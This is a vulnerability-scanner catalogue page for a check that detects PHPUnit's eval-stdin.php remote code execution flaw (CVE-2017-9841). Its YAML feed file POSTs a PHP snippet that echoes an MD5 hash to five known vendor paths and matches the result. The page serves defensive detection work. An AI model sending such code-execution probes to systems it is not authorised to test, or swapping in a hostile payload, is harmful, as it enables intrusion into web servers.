PHPUnit — 1 vulnerability check

noctis ships 1 vulnerability check for PHPUnit, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHPUnit eval-stdin.php RCE

CVECVE-2017-9841
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, match · highest QoD 97
Feedtests/vulnerabilities/phpunit/CVE-2017-9841.yaml

Probes multiple known paths for PHPUnit's eval-stdin.php. Sends a PHP snippet that echoes an MD5 hash; a matching response confirms unauthenticated remote code execution.

How noctis detects it

  1. HTTP(S) request POST {{current_path}} with a crafted body, for each of 5 values
  2. Checks phpunit_resp.body for 103ffa5f3903868b8ee4967fd14658b2 → finding QoD 97: RCE confirmed — eval-stdin.php at … echoed expected MD5: …

References:

Feed source — tests/vulnerabilities/phpunit/CVE-2017-9841.yaml
# PHPUnit eval-stdin.php Remote Code Execution — CVE-2017-9841
#
# PHPUnit exposes an eval-stdin.php file that directly evaluates POST
# input as PHP code. If the vendor/ directory is web-accessible
# (a very common misconfiguration), anyone can execute arbitrary code
# without authentication.
#
# Detection: POST a PHP snippet that echoes md5(...) and verify the hash.
# QoD 97 — execution confirmed server-side.
uid: c8b2e3a1-5f4d-4c7b-9a6e-1d8f0c3b2e7a
name: "PHPUnit eval-stdin.php RCE (CVE-2017-9841)"
description: |
  Probes multiple known paths for PHPUnit's eval-stdin.php.
  Sends a PHP snippet that echoes an MD5 hash; a matching response
  confirms unauthenticated remote code execution.
cves: [CVE-2017-9841]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [php, phpunit, rce, misconfig, composer]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-9841"
  - "https://phpunit.de/security-advisories.html"

vars:
  # expected hash: md5("noctis_phpunit_rce_9841")
  expected_hash: "103ffa5f3903868b8ee4967fd14658b2"
  php_payload: "<?php echo md5('noctis_phpunit_rce_9841'); ?>"
  probe_paths:
    - "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
    - "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"
    - "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
    - "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
    - "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"

steps:
  - id: probe-eval-stdin
    action: http_request
    method: POST
    path: "{{current_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 8
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "<?php echo md5('noctis_phpunit_rce_9841'); ?>"
    store_as: phpunit_resp
    loop:
      over:
        - "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
        - "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"
        - "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
        - "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
        - "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
      var: current_path

  - id: rce-confirm
    action: match
    source: phpunit_resp.body
    # MD5 of 'noctis_phpunit_rce_9841' — computed locally before the scan
    pattern: "103ffa5f3903868b8ee4967fd14658b2"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 97
        evidence: "RCE confirmed — eval-stdin.php at {{current_path}} echoed expected MD5: {{phpunit_resp.body}}"
      stop: true

View these feeds on GitHub